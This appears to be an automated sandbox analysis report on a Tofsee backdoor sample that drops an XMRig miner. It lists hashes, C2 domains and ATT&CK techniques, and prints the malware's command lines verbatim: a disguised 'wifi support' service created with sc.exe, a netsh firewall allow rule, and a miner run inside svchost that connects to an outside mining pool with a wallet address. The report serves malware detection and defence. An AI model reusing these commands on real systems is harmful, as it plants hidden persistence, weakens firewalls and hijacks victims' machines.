Analysis

  • max time kernel
    144s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    06-02-2023 17:00

General

  • Target

    file.exe

  • Size

    321KB

  • MD5

    2a6d0dc80d852b76efe1488a0c4a38a6

  • SHA1

    5d22dca827854c071ac3387090d912648541c470

  • SHA256

    b2d8e0f8c89c4170394d3485ccab572e85704d7596e15f6cff784bf91ddeac1b

  • SHA512

    2e79b6c927582ddf3fb8a7e5b01a58177eb8f6732f2f16695b889ab557234687db9781f5d7f506937312c9466152b4794c1262578180fd53cdb14bb663a1ac21

  • SSDEEP

    3072:uB0fS/L4QgpR60YNPml6u0sYcRvIUX82QMycCKEuQjiMTE53516ag75:iRLrgS0YglyZ29ycCKEuQj9C516aM5

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4816
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\fumyrglc\
      2⤵
        PID:3532
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\iknytncd.exe" C:\Windows\SysWOW64\fumyrglc\
        2⤵
          PID:2060
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create fumyrglc binPath= "C:\Windows\SysWOW64\fumyrglc\iknytncd.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:2224
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description fumyrglc "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:5056
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start fumyrglc
          2⤵
          • Launches sc.exe
          PID:5032
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1484
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4816 -s 1036
          2⤵
          • Program crash
          PID:2488
      • C:\Windows\SysWOW64\fumyrglc\iknytncd.exe
        C:\Windows\SysWOW64\fumyrglc\iknytncd.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:1296
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1668
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4312
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1296 -s 456
          2⤵
          • Program crash
          PID:2676
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 4816 -ip 4816
        1⤵
          PID:1432
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 1296 -ip 1296
          1⤵
            PID:1952

          Network

          MITRE ATT&CK Matrix ATT&CK v6

          Persistence

          New Service

          1
          T1050

          Modify Existing Service

          1
          T1031

          Registry Run Keys / Startup Folder

          1
          T1060

          Privilege Escalation

          New Service

          1
          T1050

          Defense Evasion

          Modify Registry

          1
          T1112

          Discovery

          Query Registry

          1
          T1012

          System Information Discovery

          2
          T1082

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\iknytncd.exe
            Filesize

            10.9MB

            MD5

            ed1d8522c4765ca42af9ef186c512fa1

            SHA1

            8314a1b9cb0d9fa5ca7baa55d7df2e8496f7a636

            SHA256

            f4e773785afc1f4037077110e6fae9f909508fc93778b13f472b45cd5c70fd3b

            SHA512

            6598086177d89e5222c1b4f11c59b68e8f31decabe257a38bf9949a0d2cb6fd55d59126d4a587603c7dfb786b6c2469b90780ed01907626fe8aa2de2937baa60

          • C:\Windows\SysWOW64\fumyrglc\iknytncd.exe
            Filesize

            10.9MB

            MD5

            ed1d8522c4765ca42af9ef186c512fa1

            SHA1

            8314a1b9cb0d9fa5ca7baa55d7df2e8496f7a636

            SHA256

            f4e773785afc1f4037077110e6fae9f909508fc93778b13f472b45cd5c70fd3b

            SHA512

            6598086177d89e5222c1b4f11c59b68e8f31decabe257a38bf9949a0d2cb6fd55d59126d4a587603c7dfb786b6c2469b90780ed01907626fe8aa2de2937baa60

          • memory/1296-150-0x0000000000400000-0x000000000046C000-memory.dmp
            Filesize

            432KB

          • memory/1296-149-0x00000000006D9000-0x00000000006EF000-memory.dmp
            Filesize

            88KB

          • memory/1484-142-0x0000000000000000-mapping.dmp
          • memory/1668-159-0x0000000001DD0000-0x0000000001DE0000-memory.dmp
            Filesize

            64KB

          • memory/1668-165-0x0000000007600000-0x0000000007A0B000-memory.dmp
            Filesize

            4.0MB

          • memory/1668-156-0x0000000001DC0000-0x0000000001DC6000-memory.dmp
            Filesize

            24KB

          • memory/1668-153-0x0000000002600000-0x000000000280F000-memory.dmp
            Filesize

            2.1MB

          • memory/1668-152-0x0000000000A50000-0x0000000000A65000-memory.dmp
            Filesize

            84KB

          • memory/1668-151-0x0000000000A50000-0x0000000000A65000-memory.dmp
            Filesize

            84KB

          • memory/1668-162-0x0000000001DE0000-0x0000000001DE5000-memory.dmp
            Filesize

            20KB

          • memory/1668-168-0x0000000001DF0000-0x0000000001DF7000-memory.dmp
            Filesize

            28KB

          • memory/1668-145-0x0000000000000000-mapping.dmp
          • memory/1668-146-0x0000000000A50000-0x0000000000A65000-memory.dmp
            Filesize

            84KB

          • memory/2060-136-0x0000000000000000-mapping.dmp
          • memory/2224-138-0x0000000000000000-mapping.dmp
          • memory/3532-135-0x0000000000000000-mapping.dmp
          • memory/4312-171-0x0000000000000000-mapping.dmp
          • memory/4312-172-0x00000000010C0000-0x00000000011B1000-memory.dmp
            Filesize

            964KB

          • memory/4312-177-0x00000000010C0000-0x00000000011B1000-memory.dmp
            Filesize

            964KB

          • memory/4816-133-0x0000000000700000-0x0000000000713000-memory.dmp
            Filesize

            76KB

          • memory/4816-132-0x00000000007AE000-0x00000000007C4000-memory.dmp
            Filesize

            88KB

          • memory/4816-134-0x0000000000400000-0x000000000046C000-memory.dmp
            Filesize

            432KB

          • memory/4816-144-0x0000000000400000-0x000000000046C000-memory.dmp
            Filesize

            432KB

          • memory/4816-143-0x00000000007AE000-0x00000000007C4000-memory.dmp
            Filesize

            88KB

          • memory/5032-140-0x0000000000000000-mapping.dmp
          • memory/5056-139-0x0000000000000000-mapping.dmp